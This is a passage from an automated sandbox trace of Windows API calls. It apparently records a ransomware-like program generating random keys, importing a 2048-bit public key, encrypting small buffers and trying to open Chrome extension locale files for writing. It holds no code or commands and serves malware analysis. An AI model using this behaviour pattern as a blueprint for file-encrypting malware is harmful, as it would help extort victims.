(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.597] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.597] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.597] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.599] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.600] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.601] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.601] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.601] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.604] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598b38) returned 1 [0233.604] CryptGetKeyParam (in: hKey=0x6598b38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.604] CryptEncrypt (in: hKey=0x6598b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f00000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7f00000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.605] GetLastError () returned 0x0 [0233.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.605] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.607] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598cf8) returned 1 [0233.607] CryptGetKeyParam (in: hKey=0x6598cf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.607] CryptEncrypt (in: hKey=0x6598cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f10000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7f10000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.607] GetLastError () returned 0x0 [0233.607] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.607] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.608] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.610] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.612] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.612] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.612] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.616] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.616] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.620] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598ab8) returned 1 [0233.620] CryptGetKeyParam (in: hKey=0x6598ab8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.620] CryptEncrypt (in: hKey=0x6598ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f20000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7f20000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.620] GetLastError () returned 0x0 [0233.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.620] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.624] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598e38) returned 1 [0233.624] CryptGetKeyParam (in: hKey=0x6598e38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.624] CryptEncrypt (in: hKey=0x6598e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7f30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.624] GetLastError () returned 0x0 [0233.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.625] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.628] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.628] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.632] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.632] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.632] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.632] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.635] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598878) returned 1 [0233.635] CryptGetKeyParam (in: hKey=0x6598878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.635] CryptEncrypt (in: hKey=0x6598878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f40000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7f40000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.635] GetLastError () returned 0x0 [0233.635] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.635] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.637] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65989f8) returned 1 [0233.637] CryptGetKeyParam (in: hKey=0x65989f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.637] CryptEncrypt (in: hKey=0x65989f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f50000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7f50000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.637] GetLastError () returned 0x0 [0233.637] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.638] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.642] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.642] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.642] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.645] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.645] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.645] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.648] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598db8) returned 1 [0233.648] CryptGetKeyParam (in: hKey=0x6598db8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.648] CryptEncrypt (in: hKey=0x6598db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f60000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7f60000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.649] GetLastError () returned 0x0 [0233.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.649] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.651] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598df8) returned 1 [0233.651] CryptGetKeyParam (in: hKey=0x6598df8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.651] CryptEncrypt (in: hKey=0x6598df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f70000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7f70000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.651] GetLastError () returned 0x0 [0233.651] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.651] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.652] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.656] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.656] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.656] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.659] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.659] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.659] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598b78) returned 1 [0233.662] CryptGetKeyParam (in: hKey=0x6598b78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.662] CryptEncrypt (in: hKey=0x6598b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f80000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7f80000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.662] GetLastError () returned 0x0 [0233.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.662] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0233.664] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598bf8) returned 1 [0233.664] CryptGetKeyParam (in: hKey=0x6598bf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.664] CryptEncrypt (in: hKey=0x6598bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7f90000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7f90000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.665] GetLastError () returned 0x0 [0233.665] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.665] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.666] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.668] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.670] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.670] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.670] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.670] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.674] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.674] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.674] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.676] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598d38) returned 1 [0233.676] CryptGetKeyParam (in: hKey=0x6598d38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.676] CryptEncrypt (in: hKey=0x6598d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7fa0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7fa0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.677] GetLastError () returned 0x0 [0233.677] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.677] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0233.680] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598e78) returned 1 [0233.680] CryptGetKeyParam (in: hKey=0x6598e78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.680] CryptEncrypt (in: hKey=0x6598e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7fb0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7fb0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.680] GetLastError () returned 0x0 [0233.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.680] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.681] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.685] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.685] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.685] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.685] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0233.687] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.688] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.688] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0233.688] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.688] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.691] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x65988b8) returned 1 [0233.691] CryptGetKeyParam (in: hKey=0x65988b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.691] CryptEncrypt (in: hKey=0x65988b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7fc0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x7fc0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0233.691] GetLastError () returned 0x0 [0233.691] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.691] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0233.694] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6598c38) returned 1 [0233.694] CryptGetKeyParam (in: hKey=0x6598c38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0233.694] CryptEncrypt (in: hKey=0x6598c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7fd0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x7fd0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0233.694] GetLastError () returned 0x0 [0233.694] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.694] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.695] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0233.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.699] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.699] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0233.699] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.699] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0233.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.702] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.702] CryptGenRandom (in: 